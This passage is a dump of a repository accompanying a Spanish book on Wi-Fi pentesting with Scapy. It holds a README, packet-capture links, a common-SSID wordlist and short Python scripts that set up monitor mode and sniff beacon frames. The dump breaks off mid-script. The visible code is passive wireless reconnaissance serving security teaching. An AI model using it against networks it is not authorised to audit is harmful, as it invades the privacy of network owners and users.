├── README.md ├── capture ├── TP-LINK_A53CEC_f4f26da53cec.cap ├── ap_summary.csv ├── weplab-64bit-AA-managed.pcap └── weplab-64bit-AA-managed.pcap.dec.cap ├── dictionaries └── ssid.txt ├── ejemplo1.py ├── ejemplo10.py ├── ejemplo11.py ├── ejemplo12.py ├── ejemplo12 ├── ejemplo10.py ├── index.html ├── jquery.min.js ├── loader.js ├── my.json ├── printer.py ├── printer.pyc ├── scapy_ex.py ├── scapy_ex.pyc └── snapshot.png ├── ejemplo13-1.py ├── ejemplo13.py ├── ejemplo14.py ├── ejemplo15.py ├── ejemplo16.py ├── ejemplo17.py ├── ejemplo18.py ├── ejemplo19.py ├── ejemplo2.py ├── ejemplo20.py ├── ejemplo21.py ├── ejemplo22.py ├── ejemplo23.py ├── ejemplo24.py ├── ejemplo25.py ├── ejemplo26.py ├── ejemplo27.py ├── ejemplo28.py ├── ejemplo29.py ├── ejemplo3.py ├── ejemplo30.py ├── ejemplo31.py ├── ejemplo32.py ├── ejemplo33.py ├── ejemplo34.py ├── ejemplo35.py ├── ejemplo36.py ├── ejemplo37.py ├── ejemplo38.py ├── ejemplo39.py ├── ejemplo4.py ├── ejemplo40.py ├── ejemplo41 └── scapy-fakeap-master │ ├── .gitignore │ ├── LICENSE │ ├── README.md │ ├── build │ └── lib.linux-x86_64-2.7 │ │ └── fakeap │ │ ├── __init__.py │ │ ├── arp.py │ │ ├── callbacks.py │ │ ├── conf.py │ │ ├── constants.py │ │ ├── eap.py │ │ ├── fakeap.py │ │ ├── rpyutils │ │ ├── __init__.py │ │ └── rpyutils.py │ │ └── tint.py │ ├── dist │ └── scapy_fakeap-0.1-py2.7.egg │ ├── examples │ ├── customcallback.py │ ├── helloworld.py │ └── helloworld_file.py │ ├── fakeap │ ├── __init__.py │ ├── arp.py │ ├── callbacks.py │ ├── conf.py │ ├── constants.py │ ├── eap.py │ ├── fakeap.py │ ├── rpyutils │ │ ├── LICENSE │ │ ├── __init__.py │ │ └── rpyutils.py │ └── tint.py │ └── setup.py ├── ejemplo5.py ├── ejemplo6.py ├── ejemplo7.py ├── ejemplo8.py ├── ejemplo9.py ├── libraries ├── printer.py ├── printer.pyc ├── scapy_ex.py ├── scapy_ex.pyc └── secdev-scapy-com.zip ├── printer.py ├── printer.pyc ├── scapy_ex.py └── scapy_ex.pyc /README.md: -------------------------------------------------------------------------------- 1 | # PythonScapyDot11_TheBook 2 | 3 | Este libro ofrece una solución real para todos aquellos amantes de la ciberseguridad y el hacking sobre tecnologías Wi-Fi / 802.11, que desean aprender a programar de forma sencilla sus propias herramientas para pentesting o auditoría de redes inalámbricas. En los últimos años Python ha alcanzado un puesto destacado como lenguaje de programación para pentesting gracias a su sencillez y capacidades. La gran cantidad de módulos, librerías y ejemplos disponibles permiten programar fácilmente cualquier tipo de aplicación. Scapy es el módulo más completo de red para Python, y permite analizar, diseccionar o crear cualquier paquete sobre cualquier protocolo de red existente. La escasez de documentación sobre Scapy Dot11 hace de este libro una herramienta única para todos los profesionales, hackers, pentesters, analistas de seguridad y ciberforenses que deseen crear su propio arsenal de herramientas de penetración Wi-Fi El formato de este libro ofrece una primera sección que sirve como introducción teórica sobre las redes Wi-Fi y su estructura de funcionamiento y. La segunda parte, eminentemente práctica, presenta una selección de más de 40 ejemplos de scripts programados en lenguaje Python que utilizan la librería Scapy para realizar operaciones de Hacking y Pentesting Wi-Fi. 4 | 5 | https://www.amazon.es/Python-Scapy-Dot11-Programacion-pentesters/dp/1542748704/ 6 | 7 | 8 | -------------------------------------------------------------------------------- /capture/TP-LINK_A53CEC_f4f26da53cec.cap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yadox666/PythonScapyDot11_TheBook/09370e4e764099dc3399ece9442b98703860eb9d/capture/TP-LINK_A53CEC_f4f26da53cec.cap -------------------------------------------------------------------------------- /capture/ap_summary.csv: -------------------------------------------------------------------------------- 1 | TP-LINK_A53CEC,f4:f2:6d:a5:3c:ec,TP-LINK TECHNOLOGIES CO. LTD.,WPA2/WPA,1 2 | -------------------------------------------------------------------------------- /capture/weplab-64bit-AA-managed.pcap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yadox666/PythonScapyDot11_TheBook/09370e4e764099dc3399ece9442b98703860eb9d/capture/weplab-64bit-AA-managed.pcap -------------------------------------------------------------------------------- /capture/weplab-64bit-AA-managed.pcap.dec.cap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yadox666/PythonScapyDot11_TheBook/09370e4e764099dc3399ece9442b98703860eb9d/capture/weplab-64bit-AA-managed.pcap.dec.cap -------------------------------------------------------------------------------- /dictionaries/ssid.txt: -------------------------------------------------------------------------------- 1 | linksys 2 | 3 | default 4 | NETGEAR 5 | Wireless 6 | WLAN 7 | Belkin54g 8 | MSHOME 9 | home 10 | hpsetup 11 | smc 12 | tsunami 13 | ACTIONTEC 14 | orange 15 | USR8054 16 | 101 17 | tmobile 18 | 19 | SpeedStream 20 | linksys-g 21 | 3Com 22 | WaveLAN Network 23 | Wayport_Access 24 | hhonors 25 | pi07490509x 26 | pi07490509x09 27 | Motorola 28 | SST-PR-1 29 | ANY 30 | eurospot 31 | 188ALT 32 | Gateway 33 | HomeNet 34 | GoldenTree 35 | SITECOM 36 | ConnectionPoint 37 | 38 | Philips WiFi 39 | Customer ID 40 | PCX5000 41 | arescom 42 | Wireless Network 43 | Office 44 | Blitzz 45 | Airport 46 | INTERMEC 47 | freedomlink 48 | MSFTWLAN 49 | MIT 50 | Untitled 51 | GlobalSuiteWireless 52 | Cox-Hospitality 53 | NESPOT 54 | DLINK 55 | Home Network 56 | non-specified SSID !! 57 | USR8022 58 | WLCM 59 | RGXLPQSNGBNYVRAK 60 | 188 61 | bestbuy 62 | airportthru 63 | 130 64 | workgroup 65 | mobile 66 | HomeOffice 67 | test 68 | fa1779zvpo 69 | Harvard University 70 | 72653 71 | HOMENETWORK 72 | USR9106 73 | linksys1 74 | NETWORK 75 | My Wireless Network A 76 | 5ECUR3w3p5TOR3 77 | conexant 78 | SMARTSIGHT 79 | Guest 80 | 0CP2REDS0X 81 | public 82 | Truckstop.neT 83 | D-LINK 84 | UBC 85 | G604T_WIRELESS 86 | matrix 87 | goesh 88 | Topcom 89 | stayonline 90 | fanTM 91 | d 92 | BNDEMO 93 | Intel Gateway 94 | IU Wireless 95 | etwireless 96 | HomeRun 97 | 140 98 | Thomson 99 | AP_Router 100 | roomlinx 101 | SpeedLinks 102 | Verizon Wi-Fi 103 | WiFi 104 | Internet 105 | linksys2 106 | STSN 107 | mike 108 | medion 109 | d0llartree1nc 110 | FDSSEC 111 | CPSWIRELESS 112 | router 113 | USR5462 114 | david 115 | Homestead 116 | Thuis 117 | NETGEAR_11g 118 | benq 119 | Comcast 120 | john 121 | 122 | net 123 | House 124 | flyingj 125 | WLAN-AP 126 | HomeWireless 127 | home wireless 128 | Ethostream 129 | usr2249 130 | Chris 131 | Private 132 | g3n3r1cw8p 133 | cuairnet 134 | west 135 | T-Mobile_T-Com 136 | RCA 137 | holidayinn 138 | V1500 139 | steve 140 | KC_LV_2003 141 | Wireless1 142 | WLAN-PS 143 | homebase 144 | BWA711 145 | My Network 146 | sonicwall 147 | bridge 148 | IBM 149 | CMU 150 | PwC80211 151 | mycloud 152 | home1 153 | Michael 154 | Belkin 155 | Scott 156 | bob 157 | TELUS 158 | asu 159 | USR5450 160 | cvsretail 161 | laptop 162 | AZRF 163 | mark 164 | FRITZ!Box Fon WLAN 165 | utexas 166 | AT&T 167 | COMPAQ 168 | buffalo 169 | LODGE 170 | FRITZ!Box SL WLAN 171 | Skynet 172 | SkyHighSpeed 173 | hawking 174 | 122 175 | Pal 176 | My Wireless Network B 177 | linksys123 178 | ZyXEL 179 | CapCBR 180 | PASSYM 181 | ap 182 | Robert 183 | defcon 184 | GlobalSync 185 | Family 186 | 3blindmice 187 | hp 188 | airport network 189 | TI-AR7WRD 190 | Air2Data 191 | tigernet 192 | PANERA 193 | netpoint 194 | BTOpenzone 195 | Brian 196 | homelan 197 | datavalet 198 | intelwlan 199 | 72654 200 | TA 201 | Kevin 202 | WRC_Network 203 | STSN_Conf 204 | OMNI 205 | Jason 206 | jeff 207 | RoamAbout Default Network Name 208 | James 209 | On-Net 210 | airpath 211 | dgs769157 212 | typhoon 213 | myhome 214 | Telenor Mobil WLAN 215 | mywlan 216 | DaysInn 217 | Apartment 218 | PWLAN1 219 | mynetwork 220 | philips 221 | default-ssid 222 | 11g AP 223 | Apple Network 224 | 1cst0ck8 225 | pennstate 226 | UPSTAIRS 227 | george 228 | Dave 229 | WAG0Nwhee1 230 | surfhere 231 | GPCSTORE 232 | vodafone 233 | Paul 234 | casa 235 | 2 236 | 04PPk99 237 | 123 238 | smith 239 | FRITZ!Box Fon WLAN 7050 240 | CISCO 241 | IEEE 802.11b LAN 242 | laquinta 243 | Spark 244 | CEDSAP 245 | 0 Unknown 246 | Instant Internet 247 | joe 248 | KPN 249 | @home 250 | Miller 251 | link 252 | AirWave 253 | comfortinn 254 | tom 255 | acer 256 | ap1 257 | LiteShow 258 | TEKLOGIX 259 | ssid 260 | johnson 261 | MU-WIRELESS-LITE 262 | EASE 263 | Apple 264 | Blue 265 | skyriver 266 | freedom 267 | peter 268 | Vanilla 269 | IEEE 802.11 LAN 270 | mywireless 271 | SiriCOMM 272 | thomas 273 | LockOn 274 | sboca 275 | Wingate 276 | brown 277 | visitor 278 | Heb1905 279 | fred 280 | 111 281 | FG04Apr06MBS 282 | comfort 283 | hyatt 284 | Alex 285 | turbonet 286 | monkey 287 | Jim 288 | nowireapaccess 289 | Webstar 290 | Main 291 | martin 292 | Richard 293 | Home Office 294 | eric 295 | tony 296 | RTC 297 | jah719 298 | Matt 299 | bill 300 | yale wireless 301 | BSU 302 | HOMEWLAN 303 | scandic_easy 304 | RYAN 305 | pi07490509xsa 306 | TELENETHOTSPOT 307 | WNR2004 308 | WANO 309 | AT&T Wireless 310 | Stanford 311 | wirelesslan 312 | frank 313 | AP7XR 314 | HBS 315 | mine 316 | 1 317 | University of Washington 318 | Access 319 | Williams 320 | HotSpot 321 | SILENTWITNESS 322 | UCSD 323 | ea54 324 | Andrew 325 | HotelAir 326 | WORK 327 | Sam 328 | taylor 329 | Super8 330 | GoAway 331 | ASAP 332 | hwtvm 333 | homer 334 | Gary 335 | TI 336 | fatport 337 | Kelly 338 | 2WIRE618 339 | 2WIRE567 340 | linksysxx 341 | 2WIRE550 342 | cavalier 343 | 2WIRE784 344 | WSR-5000 345 | WirelessNet 346 | digitalpath.net 347 | 2WIRE555 348 | 102 349 | wirelesshome 350 | belgacom 351 | 2WIRE467 352 | kaisicher 353 | JONES 354 | 2WIRE836 355 | 2WIRE658 356 | 2WIRE645 357 | 2WIRE215 358 | 2WIRE326 359 | 2WIRE264 360 | 2WIRE872 361 | 2WIRE544 362 | 2WIRE510 363 | larry 364 | GTW 365 | DAN 366 | anderson 367 | 2WIRE623 368 | 2WIRE329 369 | 2WIRE272 370 | 2WIRE212 371 | 2WIRE426 372 | tdc 373 | 2WIRE808 374 | 2WIRE577 375 | 2WIRE565 376 | 2WIRE184 377 | mynet 378 | Lee 379 | ELSA 380 | Draadloos 381 | 2WIRE945 382 | virus 383 | studio 384 | maison 385 | 2WIRE860 386 | 2WIRE646 387 | ^Y 388 | UofM Wireless 389 | getwifi 390 | AISD-GUEST 391 | 2WIRE756 392 | 2WIRE358 393 | 2WIRE067 394 | 2WIRE790 395 | 2WIRE690 396 | 2WIRE608 397 | 2WIRE558 398 | 2WIRE433 399 | signNet 400 | Library 401 | 2WIRE279 402 | 2WIRE270 403 | 2WIRE233 404 | 2WIRE173 405 | holiday 406 | 2WIRE859 407 | 2WIRE663 408 | 2WIRE569 409 | 2WIRE328 410 | 2WIRE191 411 | 2WIRE814 412 | 2wire783 413 | 2WIRE651 414 | 2WIRE283 415 | tim 416 | Lucent Outdoor Router 417 | Agere Systems 418 | 2WIRE973 419 | 2WIRE589 420 | 2WIRE463 421 | 2WIRE438 422 | 2wire420 423 | 2WIRE353 424 | 2WIRE247 425 | 2WIRE153 426 | cci 427 | 2WIRE913 428 | 2WIRE852 429 | 2WIRE670 430 | 2WIRE622 431 | 2WIRE597 432 | 2WIRE369 433 | 2WIRE224 434 | 2WIRE126 435 | onenet 436 | 2WIRE432 437 | 2WIRE285 438 | 2WIRE239 439 | 2WIRE094 440 | 2WIRE083 441 | 2WIRE029 442 | wilson 443 | 2WIRE975 444 | 2WIRE708 445 | 2WIRE453 446 | 2WIRE447 447 | 2WIRE366 448 | 2WIRE339 449 | 2WIRE317 450 | 2WIRE057 451 | 2WIRE817 452 | 2WIRE760 453 | 2WIRE677 454 | 2WIRE654 455 | 2WIRE509 456 | 2WIRE370 457 | 2WIRE232 458 | 2WIRE140 459 | 2WIRE038 460 | 2WIRE025 461 | SurfandSip 462 | pvdorm 463 | Kimpton 464 | 2WIRE990 465 | 2WIRE951 466 | 2WIRE572 467 | 2WIRE475 468 | 2WIRE411 469 | 2WIRE377 470 | 2WIRE365 471 | 2WIRE220 472 | 2WIRE093 473 | 2WIRE907 474 | 2WIRE535 475 | 2WIRE451 476 | 2WIRE294 477 | 2WIRE234 478 | 2WIRE106 479 | 2WIRE096 480 | Holiday Inn 481 | ba2 482 | 2WIRE914 483 | 2WIRE789 484 | 2WIRE341 485 | 2WIRE307 486 | 2WIRE298 487 | 2WIRE135 488 | poswireless 489 | Netgear1 490 | 2WIRE879 491 | 2WIRE842 492 | 2WIRE710 493 | 2WIRE596 494 | 2WIRE595 495 | 2WIRE437 496 | 2WIRE428 497 | 2WIRE405 498 | 2WIRE256 499 | 2WIRE041 500 | 2WIRE923 501 | 2WIRE856 502 | 2WIRE672 503 | 2WIRE478 504 | 2WIRE454 505 | 2WIRE367 506 | 2WIRE354 507 | 2WIRE303 508 | 2WIRE253 509 | 2WIRE176 510 | 2WIRE151 511 | 2WIRE043 512 | 2WIRE998 513 | 2WIRE967 514 | 2WIRE741 515 | 2WIRE732 516 | 2WIRE711 517 | 2WIRE586 518 | 2WIRE417 519 | 2WIRE373 520 | 2WIRE356 521 | 2WIRE181 522 | 2WIRE138 523 | 2WIRE118 524 | 2WIRE074 525 | 2WIRE061 526 | suitespeed 527 | 2WIRE952 528 | 2WIRE944 529 | 2WIRE864 530 | 2wire722 531 | 2WIRE653 532 | 2WIRE581 533 | 2WIRE541 534 | 2wire468 535 | 2WIRE383 536 | 2WIRE347 537 | 2WIRE315 538 | 2WIRE275 539 | 2WIRE226 540 | 2WIRE225 541 | 2WIRE158 542 | 2WIRE142 543 | 2WIRE007 544 | HotelNet 545 | GeorgeAP22 546 | AMAT_Prod 547 | 2WIRE930 548 | 2WIRE668 549 | 2WIRE616 550 | 2WIRE524 551 | 2WIRE442 552 | 2WIRE424 553 | 2WIRE340 554 | 2WIRE235 555 | 2WIRE186 556 | 2WIRE182 557 | JACK 558 | airnet 559 | 7590000001 560 | 2WIRE925 561 | 2WIRE919 562 | 2WIRE818 563 | 2WIRE800 564 | 2WIRE753 565 | 2WIRE704 566 | 2WIRE701 567 | 2WIRE598 568 | 2WIRE588 569 | 2WIRE579 570 | 2WIRE563 571 | 2WIRE449 572 | 2WIRE378 573 | 2WIRE309 574 | 2WIRE252 575 | 2WIRE250 576 | 2WIRE197 577 | 2WIRE175 578 | 2WIRE100 579 | ITS Wireless 580 | airimba 581 | 2WIRE918 582 | 2WIRE911 583 | 2WIRE896 584 | 2WIRE867 585 | 2WIRE787 586 | 2WIRE785 587 | 2WIRE755 588 | 2WIRE624 589 | 2WIRE593 590 | 2WIRE564 591 | 2WIRE430 592 | 2WIRE400 593 | 2WIRE391 594 | 2WIRE313 595 | 2WIRE305 596 | 2WIRE266 597 | 2WIRE148 598 | 2WIRE145 599 | 2WIRE144 600 | 2WIRE116 601 | 2WIRE092 602 | X-Micro 603 | Green 604 | dnawlan 605 | andy 606 | alpha 607 | 2WIRE788 608 | 2WIRE552 609 | 2WIRE528 610 | 2WIRE518 611 | 2WIRE515 612 | 2WIRE471 613 | 2WIRE431 614 | 2WIRE418 615 | 2WIRE348 616 | 2WIRE330 617 | 2WIRE318 618 | 2WIRE280 619 | 2WIRE268 620 | 2WIRE254 621 | 2WIRE240 622 | pi07490509x09sa 623 | 2WIRE992 624 | 2WIRE891 625 | 2WIRE717 626 | 2WIRE700 627 | 2WIRE652 628 | 2WIRE587 629 | 2WIRE560 630 | 2WIRE533 631 | 2WIRE484 632 | 2WIRE414 633 | 2WIRE385 634 | 2WIRE376 635 | 2WIRE371 636 | 2WIRE104 637 | 2WIRE080 638 | 2WIRE048 639 | 2WIRE018 640 | davis 641 | B2B 642 | arwain.net 643 | 2WIRE950 644 | 2WIRE929 645 | 2WIRE874 646 | 2WIRE846 647 | 2WIRE793 648 | 2WIRE792 649 | 2WIRE674 650 | 2WIRE591 651 | 2WIRE519 652 | 2WIRE335 653 | 2WIRE312 654 | 2WIRE274 655 | 2WIRE204 656 | 2WIRE179 657 | 2WIRE113 658 | 2WIRE111 659 | 2WIRE099 660 | 2WIRE077 661 | 2WIRE072 662 | 2WIRE854 663 | 2WIRE754 664 | 2WIRE752 665 | 2WIRE724 666 | 2WIRE720 667 | 2WIRE707 668 | 2WIRE689 669 | 2WIRE603 670 | 2WIRE553 671 | 2WIRE485 672 | 2WIRE455 673 | 2WIRE415 674 | 2WIRE249 675 | 2WIRE218 676 | 2WIRE213 677 | 2WIRE200 678 | 2WIRE079 679 | 2WIRE053 680 | 2WIRE047 681 | 2WIRE030 682 | hilton 683 | 2WIRE962 684 | 2WIRE889 685 | 2WIRE884 686 | 2WIRE771 687 | 2WIRE718 688 | 2WIRE688 689 | 2WIRE665 690 | 2WIRE655 691 | 2WIRE647 692 | 2WIRE620 693 | 2wire619 694 | 2WIRE606 695 | 2WIRE600 696 | 2WIRE584 697 | 2WIRE583 698 | 2WIRE566 699 | 2WIRE546 700 | 2WIRE538 701 | 2WIRE474 702 | 2WIRE360 703 | 2wire304 704 | 2WIRE293 705 | 2WIRE292 706 | 2WIRE262 707 | 2WIRE261 708 | 2WIRE188 709 | 2WIRE150 710 | 2WIRE064 711 | 2wire046 712 | 2WIRE044 713 | charlie 714 | 2WIRE941 715 | 2WIRE833 716 | 2wire746 717 | 2WIRE709 718 | 2WIRE680 719 | 2WIRE667 720 | 2WIRE656 721 | 2WIRE635 722 | 2WIRE627 723 | 2WIRE617 724 | 2WIRE612 725 | 2WIRE611 726 | 2WIRE590 727 | 2WIRE548 728 | 2WIRE514 729 | 2WIRE506 730 | 2wire429 731 | 2WIRE427 732 | 2WIRE422 733 | 2WIRE355 734 | 2WIRE316 735 | 2WIRE284 736 | 2WIRE227 737 | 2WIRE193 738 | 2WIRE171 739 | 2WIRE168 740 | 2WIRE157 741 | 2WIRE132 742 | 2WIRE089 743 | 2WIRE085 744 | 2WIRE068 745 | 2WIRE059 746 | mcsy 747 | Barney 748 | 2WIRE985 749 | 2WIRE940 750 | 2WIRE886 751 | 2WIRE885 752 | 2WIRE825 753 | 2WIRE801 754 | 2WIRE739 755 | 2WIRE726 756 | 2WIRE706 757 | 2WIRE693 758 | 2WIRE683 759 | 2WIRE657 760 | 2WIRE632 761 | 2WIRE615 762 | 2WIRE582 763 | 2WIRE531 764 | 2WIRE529 765 | 2WIRE497 766 | 2WIRE441 767 | 2WIRE425 768 | 2WIRE368 769 | 2WIRE361 770 | 2WIRE337 771 | 2WIRE301 772 | 2WIRE282 773 | 2WIRE271 774 | 2WIRE169 775 | 2WIRE065 776 | Galaxy 777 | Baymont 778 | 2WIRE984 779 | 2WIRE961 780 | 2WIRE826 781 | 2WIRE795 782 | 2wire794 783 | 2WIRE774 784 | 2WIRE773 785 | 2WIRE714 786 | 2WIRE698 787 | 2WIRE687 788 | 2WIRE517 789 | 2WIRE498 790 | 2WIRE495 791 | 2WIRE444 792 | 2WIRE443 793 | 2WIRE392 794 | 2wire384 795 | 2WIRE336 796 | 2WIRE311 797 | 2WIRE222 798 | 2WIRE172 799 | 2WIRE146 800 | 2WIRE110 801 | STOPS 802 | jennifer 803 | gigabyte 804 | 2WIRE964 805 | 2WIRE935 806 | 2WIRE878 807 | 2WIRE861 808 | 2WIRE778 809 | 2WIRE750 810 | 2WIRE678 811 | 2WIRE675 812 | 2WIRE639 813 | 2WIRE513 814 | 2WIRE501 815 | 2WIRE476 816 | 2WIRE394 817 | 2WIRE345 818 | 2WIRE199 819 | 2WIRE159 820 | 2WIRE032 821 | greg 822 | 2WIRE908 823 | 2WIRE866 824 | 2WIRE738 825 | 2WIRE686 826 | 2WIRE642 827 | 2WIRE539 828 | 2WIRE516 829 | 2WIRE408 830 | 2WIRE333 831 | 2WIRE300 832 | 2WIRE277 833 | 2WIRE263 834 | 2WIRE241 835 | 2WIRE206 836 | 2WIRE115 837 | 2WIRE095 838 | 2WIRE997 839 | 2WIRE937 840 | 2WIRE926 841 | 2WIRE837 842 | 2WIRE810 843 | 2WIRE744 844 | 2WIRE659 845 | 2wire633 846 | 2WIRE545 847 | 2WIRE532 848 | 2WIRE526 849 | 2WIRE393 850 | 2WIRE363 851 | 2WIRE352 852 | 2WIRE346 853 | 2WIRE324 854 | 2WIRE291 855 | 2WIRE286 856 | 2WIRE259 857 | 2WIRE208 858 | 2WIRE196 859 | 2WIRE187 860 | 2WIRE147 861 | 2WIRE125 862 | 2WIRE070 863 | wxyz 864 | Home AirPort 865 | CONNECT2AIR 866 | 2WIRE991 867 | 2WIRE955 868 | 2WIRE927 869 | 2WIRE768 870 | 2WIRE737 871 | 2WIRE684 872 | 2WIRE669 873 | 2WIRE621 874 | 2WIRE551 875 | 2WIRE488 876 | 2WIRE470 877 | 2WIRE435 878 | 2WIRE413 879 | 2WIRE295 880 | 2WIRE260 881 | 2WIRE255 882 | 2WIRE210 883 | 2WIRE185 884 | 2wire129 885 | 2WIRE050 886 | nuwlan 887 | 2WIRE995 888 | 2WIRE979 889 | 2WIRE921 890 | 2WIRE906 891 | 2WIRE850 892 | 2WIRE841 893 | 2wire824 894 | 2WIRE766 895 | 2WIRE751 896 | 2WIRE723 897 | 2WIRE648 898 | 2WIRE640 899 | 2WIRE614 900 | 2WIRE481 901 | 2WIRE472 902 | 2WIRE459 903 | 2WIRE436 904 | 2WIRE390 905 | 2WIRE382 906 | 2WIRE374 907 | 2WIRE364 908 | 2WIRE323 909 | 2WIRE290 910 | 2WIRE281 911 | 2WIRE141 912 | 2WIRE133 913 | 2WIRE114 914 | 2WIRE108 915 | 2WIRE069 916 | 2WIRE045 917 | 2WIRE009 918 | nowires 919 | 2WIRE948 920 | 2WIRE902 921 | 2WIRE828 922 | 2WIRE820 923 | 2WIRE743 924 | 2WIRE735 925 | 2WIRE610 926 | 2WIRE507 927 | 2WIRE456 928 | 2WIRE439 929 | 2WIRE319 930 | 2WIRE299 931 | 2WIRE178 932 | 2WIRE103 933 | 2WIRE066 934 | 2WIRE051 935 | 2WIRE005 936 | ÜRegency 937 | LISA 938 | 2WIRE976 939 | 2WIRE898 940 | 2WIRE895 941 | 2WIRE882 942 | 2WIRE875 943 | 2WIRE834 944 | 2WIRE699 945 | 2WIRE681 946 | 2WIRE592 947 | 2WIRE576 948 | 2WIRE537 949 | 2WIRE521 950 | 2WIRE511 951 | 2WIRE410 952 | 2WIRE325 953 | 2WIRE308 954 | 2WIRE273 955 | 2WIRE269 956 | 2WIRE237 957 | 2WIRE217 958 | 2WIRE203 959 | 2WIRE177 960 | 2WIRE042 961 | 2WIRE037 962 | 2WIRE036 963 | 2WIRE031 964 | 2wire021 965 | UIUCnet 966 | 2WIRE965 967 | 2WIRE957 968 | 2WIRE946 969 | 2WIRE943 970 | 2WIRE931 971 | 2WIRE873 972 | 2WIRE857 973 | 2WIRE839 974 | 2WIRE835 975 | 2WIRE822 976 | 2WIRE807 977 | 2WIRE747 978 | 2WIRE712 979 | 2WIRE692 980 | 2WIRE682 981 | 2WIRE679 982 | 2WIRE605 983 | 2WIRE599 984 | 2WIRE559 985 | 2WIRE508 986 | 2WIRE496 987 | 2WIRE490 988 | 2WIRE452 989 | 2WIRE450 990 | 2WIRE434 991 | 2WIRE419 992 | 2WIRE401 993 | 2WIRE398 994 | 2WIRE372 995 | 2WIRE331 996 | 2WIRE238 997 | 2WIRE130 998 | 2wire122 999 | 2WIRE088 1000 | 2WIRE060 1001 | -------------------------------------------------------------------------------- /ejemplo1.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*-​ 3 | import os, time, socket, fcntl, struct 4 | from subprocess import call 5 | from platform import system 6 | 7 | # define variables 8 | intfparent='wlan1' 9 | intfmon='mon0' 10 | 11 | def OScheck(): 12 | osversion = system() 13 | print "Operating System: %s" %osversion 14 | if osversion != 'Linux': 15 | print "This script only works on Linux OS! Exitting!" 16 | exit(1) 17 | 18 | def InitMon(): 19 | if not os.path.isdir("/sys/class/net/" + intfmon): 20 | if not os.path.isdir("/sys/class/net/" + intfparent): 21 | print "WiFi interface %s does not exist! Cannot continue!" %(intfparent) 22 | exit(1) 23 | else: 24 | try: 25 | # create monitor interface using iw 26 | os.system("iw dev %s interface add %s type monitor" % (intfparent, intfmon)) 27 | time.sleep(0.5) 28 | os.system("ifconfig %s up" %intfmon) 29 | print "Creating monitor VAP %s for parent %s..." %(intfmon,intfparent) 30 | except OSError as e: 31 | print "Could not create monitor %s" %intfmon 32 | os.kill(os.getpid(),SIGINT) 33 | sys.exit(1) 34 | else: 35 | print "Monitor %s exists! Nothing to do, just continuing..." %(intfmon) 36 | 37 | def GetMAC(iface): 38 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 39 | info = fcntl.ioctl(s.fileno(), 0x8927, struct.pack('256s', iface[:15])) 40 | macaddr = ''.join(['%02x:' % ord(char) for char in info[18:24]])[:-1] 41 | return macaddr 42 | 43 | 44 | # Check if OS is linux: 45 | OScheck() 46 | 47 | # Check for root privileges 48 | if os.geteuid() != 0: 49 | exit("You need to be root to run this script!") 50 | else: 51 | print "You are running this script as root!" 52 | 53 | # Check if monitor device exists 54 | InitMon() 55 | 56 | # Get intfmon actual MAC address 57 | macaddr=GetMAC(intfmon).upper() 58 | print "Actual %s MAC Address: %s" %(intfmon, macaddr) 59 | -------------------------------------------------------------------------------- /ejemplo10.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*-​ 3 | import logging 4 | logging.getLogger("scapy.runtime").setLevel(logging.ERROR) 5 | from scapy.all import * 6 | 7 | intfmon = 'mon0' ### Just monitor VAP interface (mon0) 8 | mac2search = 'F8:63:94:9A:03:13' ### BSSID of ap to search or client MAC 9 | 10 | def insert_ap(pkt): 11 | if pkt.haslayer(Dot11Beacon): 12 | bssid = pkt[Dot11].addr3 13 | if bssid.upper() == mac2search.upper(): 14 | essid = pkt[Dot11].info 15 | powervalues=[0,0,0] 16 | # power = (256 - ord(pkt.notdecoded[-4:-3])) # Some radiotap headers 17 | power = (256 - ord(pkt.notdecoded[-2:-1])) # other radiotap headers like Atheros 18 | if power > 0 <= 99: 19 | power = 100 - power 20 | elif power == 256: 21 | return ## corrupt value 22 | 23 | print "ESSID: %s BSSID: %s PWR: %s" %(essid,bssid,power) 24 | 25 | sniff(iface=intfmon, prn=insert_ap, store=False, lfilter=lambda pkt: (Dot11 in pkt)) 26 | 27 | -------------------------------------------------------------------------------- /ejemplo11.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | import logging, dpkt 4 | logging.getLogger("scapy.runtime").setLevel(logging.ERROR) 5 | from scapy.all import * 6 | 7 | intfmon = "mon0" 8 | 9 | def PacketHandler(pkt): 10 | rawdata = pkt.build() 11 | tap = dpkt.radiotap.Radiotap(rawdata) 12 | 13 | if hasattr(tap, "ant_sig"): 14 | signal = -(256 - tap.ant_sig.db) 15 | else: 16 | signal = 0 17 | 18 | bssid=pkt.addr3 19 | essid=pkt.info 20 | print "BSSID:%s ESSID:%s (%d dBm)" % (bssid, essid, signal) 21 | 22 | sniff(iface=intfmon, prn=PacketHandler, lfilter=lambda p: Dot11Beacon in p) 23 | -------------------------------------------------------------------------------- /ejemplo12.py: -------------------------------------------------------------------------------- 1 | Vease el directorio ./ejemplo12/ 2 | 3 | -------------------------------------------------------------------------------- /ejemplo12/ejemplo10.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*-​ 3 | import threading, os, time, sys 4 | from threading import Thread, Lock 5 | from subprocess import Popen, PIPE 6 | from signal import SIGINT, signal 7 | import logging 8 | logging.getLogger("scapy.runtime").setLevel(logging.ERROR) 9 | from scapy.all import * 10 | import BaseHTTPServer 11 | from SimpleHTTPServer import SimpleHTTPRequestHandler 12 | 13 | intfmon = 'mon0' ### Just monitor VAP interface (mon0) 14 | httpport=8000 ## port number for http server 15 | avgcache=10 ### Number of elements to keep in cache for average calculation 16 | atheros=False ## Using Atheros chipset 17 | verbose=0 ## verbosity 18 | 19 | pfile='my.json' 20 | if not atheros: import scapy_ex ## scapy_ex does not parse well with Atheros cards 21 | maxpower=0 ; minpower=100 ; avgpower=0 ; avglist=[] ; essid='' ; channel=0 22 | aps=[ ] ## list to store aps 23 | first_pass=1 24 | lock = Lock() 25 | DN = open(os.devnull, 'w') 26 | i=0 27 | 28 | def insert_ap(pkt): 29 | global i 30 | bssid = pkt[Dot11].addr3 31 | if any(bssid in sublist for sublist in aps): 32 | return 33 | elt = pkt[Dot11Elt] 34 | ("{Dot11ProbeResp:%Dot11ProbeResp.cap%}").split('+') 35 | crypto = set() 36 | cap = pkt.sprintf("{Dot11Beacon:%Dot11Beacon.cap%}") 37 | while 